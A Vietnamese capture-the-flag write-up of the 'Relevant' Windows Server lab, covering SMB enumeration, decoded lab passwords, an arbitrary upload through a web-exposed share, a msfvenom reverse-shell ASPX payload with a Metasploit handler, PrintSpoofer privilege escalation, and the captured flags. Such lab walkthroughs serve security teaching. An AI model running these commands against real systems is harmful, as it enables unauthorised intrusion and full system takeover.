Icon

Relevant

Penetration Testing Challenge.

November 4, 2025 August 6, 2025 Medium
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

$ rustscan -a 10.201.107.205 -- -A

PORT      STATE SERVICE       REASON          VERSION
80/tcp    open  http          syn-ack ttl 124 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 124 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  syn-ack ttl 124 Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp  open  ms-wbt-server syn-ack ttl 124 Microsoft Terminal Services
|_ssl-date: 2025-08-06T05:41:43+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=Relevant
| Issuer: commonName=Relevant
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-05T05:31:47
| Not valid after:  2026-02-04T05:31:47
| MD5:   1bc4:e388:6a96:81c9:4101:47ba:f726:940d
| SHA-1: 209e:4ca8:8a53:f336:729c:3661:e6b4:1830:0214:08f1
| -----BEGIN CERTIFICATE-----
| MIIC1DCCAbygAwIBAgIQGrWC/4mg0L1GSmxmGHQXATANBgkqhkiG9w0BAQsFADAT
| MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNTA4MDUwNTMxNDdaFw0yNjAyMDQwNTMx
| NDdaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
| MIIBCgKCAQEAvYgYW213bhKJZoVWJLVtkwRDXu535C7DSGHJS4od3rNyCBDs9/Rj
| s9RxZxaRQnjMHMgYl8uckgkZFCbadJFRzR7MOQpIAVj5SgilSdCRRPIW/4JEexgb
| 91fYxxMRKpCt/R7i5MmhGQsH5ZuvpyQZmwUqiXCC1QFFlCzRZ+Sn+3ufic0xsQA8
| OqZWWWgvBSMgV5t3CNHyJANW20kwG7TPHuFWz+kgvUYSinCIffDRvC03SX6hOXd7
| 4dSJnOBTQIxazIDvbGXB6lefbqrgH69DpKdaxuzENSKC9oCbWi5iusMilFcIzDfw
| WOG3kaK5t/7GrJXc5efenOCZB8QRUTzOpwIDAQABoyQwIjATBgNVHSUEDDAKBggr
| BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBAF1/Q0MiJtMN
| pRefAutc7o+kF09p7uFI6HbhThNFJUJGgx9KFBbk1tkOGRt+GmrZqWW01uaPp1pj
| X9VCZam9O544u4XzZERyvxs9tgB5zNvmEloNTayqXD11OKwCMiZ8KfkVogHaNGJV
| hLDrwirKC0Hvmeji2E3ooYZ3qJ/l0TJIDT7vk55MuGEbNraY3XAz6OOFM8fnUjoq
| cXN5bivW5ptNEcrjeHARxYBEY0pxhqIoth44EBXRRTjQ9zTsfjJk0m5vUp+Ku/9z
| lhYHpX2CJFVW2SrLiXO0yLnzy0QwISFTAKxLMLipopDgcnQcHvrkCUXAOaSSyZFd
| ZzO65KiFSTM=
|_-----END CERTIFICATE-----
49663/tcp open  http          syn-ack ttl 124 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
49666/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC

Từ kết quả scan, ta thấy máy target đang chạy Windows Server 2016 Standard Evaluation. Port 80 và 49663 mở dịch vụ HTTP với Microsoft IIS 10.0. Các port 135, 139, 445, 49666 và 49667 mở dịch vụ RPC và SMB. Ngoài ra, port 3389 mở dịch vụ RDP.

HTTP 80

image.png

image.png

Web server đang chạy là IIS phiên bản 10.0, phiên bản này chúng ta sẽ không tìm thấy lỗ hổng nào.

Trang chủ cũng không cung cấp thêm thông tin gì ngoài một background mặc định.

Directory Enumeration

Chúng ta nên quét các directory hoặc file ẩn trên web server bằng gobuster.

gobuster dir -u http://10.201.107.205 -w /usr/share/wordlists/dirb/common.txt

image.png

Cũng không có kết quả gì.

SMB 445

Tiếp theo, chúng ta enumerate các share và user trên SMB server bằng Nmap scripts.

$ sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.201.107.205

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.201.107.205\ADMIN$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.201.107.205\C$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.201.107.205\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\10.201.107.205\nt4wrksv:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|_    Current user access: READ/WRITE

Chúng ta phát hiện một share không mặc định tên là nt4wrksv, nó cho phép anonymous access với quyền đọc và ghi.

┌──(hungnt㉿kali)-[~]
└─$ smbclient -N //10.201.107.205/ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED

┌──(hungnt㉿kali)-[~]
└─$ smbclient -N //10.201.107.205/C$
tree connect failed: NT_STATUS_ACCESS_DENIED

┌──(hungnt㉿kali)-[~]
└─$ smbclient -N //10.201.107.205/IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit

┌──(hungnt㉿kali)-[~]
└─$ smbclient -N //10.201.107.205/nt4wrksv
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug  6 12:45:00 2025
  ..                                  D        0  Wed Aug  6 12:45:00 2025
  passwords.txt                       A       98  Sat Jul 25 22:15:33 2020

                7735807 blocks of size 4096. 5134850 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 98 as passwords.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit

Khi liệt kê share này, chúng ta thấy một file passwords.txt chứa credentials được encode dưới dạng base64. Chúng ta tải file này về máy và decode để lấy nội dung.

┌──(hungnt㉿kali)-[~]
└─$ cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
┌──(hungnt㉿kali)-[~]
└─$ echo Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
Bob - !P@$$W0rD!123
┌──(hungnt㉿kali)-[~]
└─$ echo QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk | base64 -d
Bill - Juw4nnaM4n420696969!$$$

Sau đó, chúng ta thử dùng những credentials này để đăng nhập SMB server, nhưng đều nhận được thông báo access denied.

┌──(hungnt㉿kali)-[~]
└─$ smbclient --user='Bob' --password='!P@$$W0rD!123' //10.201.107.205/ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED

┌──(hungnt㉿kali)-[~]
└─$ smbclient --user='Bill' --password='Juw4nnaM4n420696969!$$$' //10.201.107.205/ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED

┌──(hungnt㉿kali)-[~]
└─$ smbclient --user='Bob' --password='!P@$$W0rD!123' //10.201.107.205/C$
tree connect failed: NT_STATUS_ACCESS_DENIED

┌──(hungnt㉿kali)-[~]
└─$ smbclient --user='Bill' --password='Juw4nnaM4n420696969!$$$' //10.201.107.205/C$
tree connect failed: NT_STATUS_ACCESS_DENIED

Tiếp tục, chúng ta thử chạy enum4linux với credentials của bob, nhưng cũng không tìm thấy gì hữu ích.

enum4linux -u 'Bob' -p '!P@$$W0rD!123' -a 10.201.107.205

image.png

Đây có thể không phải hướng đúng, ta phải tìm cách khác.

RDP 3389

Có thể chúng ta thử kết nối RDP đến máy bằng những credentials này, nhưng cũng không có cái nào đăng nhập được.

image.png

image.png

image.png

image.png

HTTP 49663

image.png

/nt4wrksv

Sau khi enumerate, chúng ta phát hiện rằng share nt4wrksv cũng được sử dụng như một directory trên website, nhưng chỉ xuất hiện trên port này chứ không phải port 80. Do đó, chúng ta có thể truy cập file passwords.txt mà trước đó tìm thấy ngay trên website.

image.png

Điều này gợi ý rằng chúng ta nên thử kiểm tra xem có thể upload tùy ý file lên web server hay không.

image.png

Kết quả cho thấy chúng ta có thể upload file tuỳ ý. Vì vậy ta sẽ uplaod một reverse payload lên web server.

Initial Access as DefaultAppPool

Chúng ta tạo một payload bằng msfvenom và upload nó lên web server:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.17.21.52 LPORT=53 --platform windows -f aspx -o rev.aspx

image.png

Tiếp đó, chúng ta chạy handler trên Metasploit để nhận kết nối:

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.17.21.52; set LPORT 53; run"

image.png

Và chúng ta đã thành công truy cập vào hệ thống với quyền của DefaultAppPool.

Privileges Information

meterpreter > shell
Process 2232 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Khi xem thông tin về privileges của user hiện tại, chúng ta nhận thấy rằng SeImpersonatePrivilege đang được bật, và đây có thể là một vector để leo quyền.

user.txt

c:\windows\system32\inetsrv>cd C:\Users\
cd C:\Users\

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AC3C-5CB5

 Directory of C:\Users

07/25/2020  02:03 PM    <DIR>          .
07/25/2020  02:03 PM    <DIR>          ..
07/25/2020  08:05 AM    <DIR>          .NET v4.5
07/25/2020  08:05 AM    <DIR>          .NET v4.5 Classic
07/25/2020  10:30 AM    <DIR>          Administrator
07/25/2020  02:03 PM    <DIR>          Bob
07/25/2020  07:58 AM    <DIR>          Public
               0 File(s)              0 bytes
               7 Dir(s)  20,276,809,728 bytes free

C:\Users>cd Bob
cd Bob

C:\Users\Bob>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AC3C-5CB5

 Directory of C:\Users\Bob

07/25/2020  02:03 PM    <DIR>          .
07/25/2020  02:03 PM    <DIR>          ..
07/25/2020  02:04 PM    <DIR>          Desktop
               0 File(s)              0 bytes
               3 Dir(s)  20,276,809,728 bytes free

C:\Users\Bob>cd Desktop
cd Desktop

C:\Users\Bob\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AC3C-5CB5

 Directory of C:\Users\Bob\Desktop

07/25/2020  02:04 PM    <DIR>          .
07/25/2020  02:04 PM    <DIR>          ..
07/25/2020  08:24 AM                35 user.txt
               1 File(s)             35 bytes
               2 Dir(s)  20,276,809,728 bytes free

C:\Users\Bob\Desktop>type user.txt
type user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}

Shell as Administrator

Vì hệ điều hành là Windows Server 2016SeImpersonatePrivilege đã được bật, chúng ta có thể thử thực hiện Sweet Potato attack.

Ta có thể tải PrintSpoofer64.exe tại đây và chuyển sang máy target để khai thác.

image.png

Chúng ta đã thành công chiếm được SYSTEM.

root.txt

c:\Users\Administrator\Desktop>
dir
 Volume in drive C has no label.
 Volume Serial Number is AC3C-5CB5

 Directory of c:\Users\Administrator\Desktop

07/25/2020  08:24 AM    <DIR>          .
07/25/2020  08:24 AM    <DIR>          ..
07/25/2020  08:25 AM                35 root.txt
               1 File(s)             35 bytes
               2 Dir(s)  21,043,044,352 bytes free

c:\Users\Administrator\Desktop>type root.txt
type root.txt
THM{1fk5kf469devly1gl320zafgl345pv}